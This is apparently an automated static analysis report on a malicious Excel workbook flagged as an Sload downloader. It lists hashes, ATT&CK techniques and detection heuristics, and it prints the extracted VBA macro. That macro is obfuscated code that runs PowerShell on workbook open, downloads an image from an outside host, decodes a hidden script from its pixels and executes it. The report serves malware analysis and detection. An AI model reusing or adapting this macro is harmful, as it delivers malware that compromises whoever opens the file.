Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 983b13f4ae9b8b9d…

MALICIOUS

Office (OLE)

74.5 KB Created: 2003-04-23 08:59:25 Authoring application: Microsoft Excel First seen: 2019-03-18
MD5: 02bcc73b9c005cd6d90b6d922c4cd331 SHA-1: 78eb095030e284776ce8b9fbe04611e7140dfc1b SHA-256: 983b13f4ae9b8b9dbb6fd5e4fa024e862628bd748d2ece92cf4b4c2048d88ad7
184 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The Workbook_Open macro contains obfuscated VBA code that utilizes the Shell() function to execute PowerShell. The PowerShell command attempts to download a payload from the URL https://images2.imgbox.com/ce/60/RW99SPa3_o.png and execute it. The obfuscation and download-and-execute behavior are indicative of a downloader malware.

Heuristics 6

  • ClamAV: Xls.Downloader.Sload-6774021-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Sload-6774021-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • URL de-obfuscated from VBA string literal (1 URL) info OLE_VBA_OBFUSCATED_URL
    A VBA macro hides its download URL inside a string literal that is de-obfuscated at runtime — junk digits or a Replace() junk token interleaved through the URL, or the URL stored reversed (StrReverse). The decoded host is the next-stage payload URL (URLDownloadToFile/XMLHTTP/ShellExecute); surfaced as an IOC. Self-validating: only a transform that yields a syntactically valid host URL is reported.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://images2.imgbox.com/ce/60/RW99SPa3_o.png Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6790 bytes
SHA-256: d637cd0400f97bb1fe9d1719f64ae4ddf180fa6a5f5671095f4c95833ac79b73
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

























































'------------
Sub workbook_Open()
Shell "Cm" + adverts, 18 + 2 - 20
End Sub

Function adverts()
powerv = Replace("d  ? /?c   ""e?cH?O/ sV UX8  ([T?Yp?E](""{1}{0}""-f'aTh','M')  ) ; s?eT E8C?I3 ([?Ty?Pe](""{1}{4}{0}{5}{2}{3}""-F't','S?Ys?t','t','.En?Co?DIn??G?','Em.','e?X') ) ; ^^^&(""{1}{0}""-f 'l','sa') ('a') (""{0}{2}{1}"" -f 'New-Ob','ect','j');^^^&(""{1}{2}{0}"" -f'ype','A','dd-T') -A?ss?emb?ly?Name ""S?y?st?em?.D?ra?w??in?g"";${G}=.('a') (""{2}{3}{0}{1}""-f 'm.Dra','wi?ng.Bit?ma?p','Syst','e')((^^^&('a') (""{2}{1}{0}"" -f'ie?nt','Cl','?Ne?t.?W?eb')).(""{1}{2}{0}"" -f 'e?ad','O','pe?nR').?I?nvo??ke??(""h?t??t?ps??:?/?/?images2.imgbox.com/ce/60/RW99SPa3_o.png""));${O}=.('a') (""{1}{0}"" -f'te[]','By') 428;(0..0)^^^|^^^&('%'){for?eac?h(${X} in(0..427)){${P}=${G}.(""{2}{1}", "?", "")
labelgg = Replace("{0}"" -f 'xel','etPi','G')??.??I?n??vo?k??e?(${x},${_});${O}[${_}*4?28+${x}]=(  $U?x8::(""{1}{0}"" -f'oo?r','Fl').I?nv?o?????ke((${P}.""b""-ba?nd1?5)*16)-bor(${P}.""G"" -ba?nd 15))}};^^^&(""{1}{0}""-f'X','IE')(  $E8CI3::""AsC`Ii"".""Ge?TS`TR?I`N?G""(${o}[0..386])) |c?L??IP.E??X??e&&cM?d  ? /c?pO?We?RS?H??e?L?l -?N?O?l ?-n?On?In?T ?-?w?i?N??do??WS?T? ?HI??Dd??eN  ?-e??xe?CU??TI???oNp??OLi? b?y?pa?s?S  -n?Op?r  -ST?a  [?Voi?d][Sy????ste??m.Re????fle??cti??on.As??se?mbl?y]::( \""{2}{1}{4}{0}{5}{3}\"" -f'al?N',( \""{1}{0}\"" -f't?hP','o?ad?W?i' ),'L','e',(  \""{0}{1}\""-f'art','i'  ),'am').\""??iN?vo`k?e\""((\""{0}{3}{5}{4}{2}{1}\""-f'S','d?ows.Fo?rms?','.Wi?n','y','m','ste'  ) );  (  [w?i?nd??oW??S.fO??r?ms?.C??LI??PBo??ARd]::(  \""{2}{1}{0}\""-f 'ex?T','t','G?Et' ).\""i?n`?V`O??KE??\""(   ) ) ^^^|   . ( ${?P`S?ho`ME?}[4]+  ${p`S`hO?M??E?}[30]  +  'x'  );   [??W?i??n???do??ws.F?or??ms.?Cl??i?p??boar?d]::( \""{0}{1}\""-f 'Cl?e','ar'  ).\""i?`N?VO??K?e?\""(  )""", "?", "")
adverts = powerv + labelgg
End Function

Attribute VB_Name = "Foglio2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio4"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio5"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio6"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio7"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "F
... (truncated)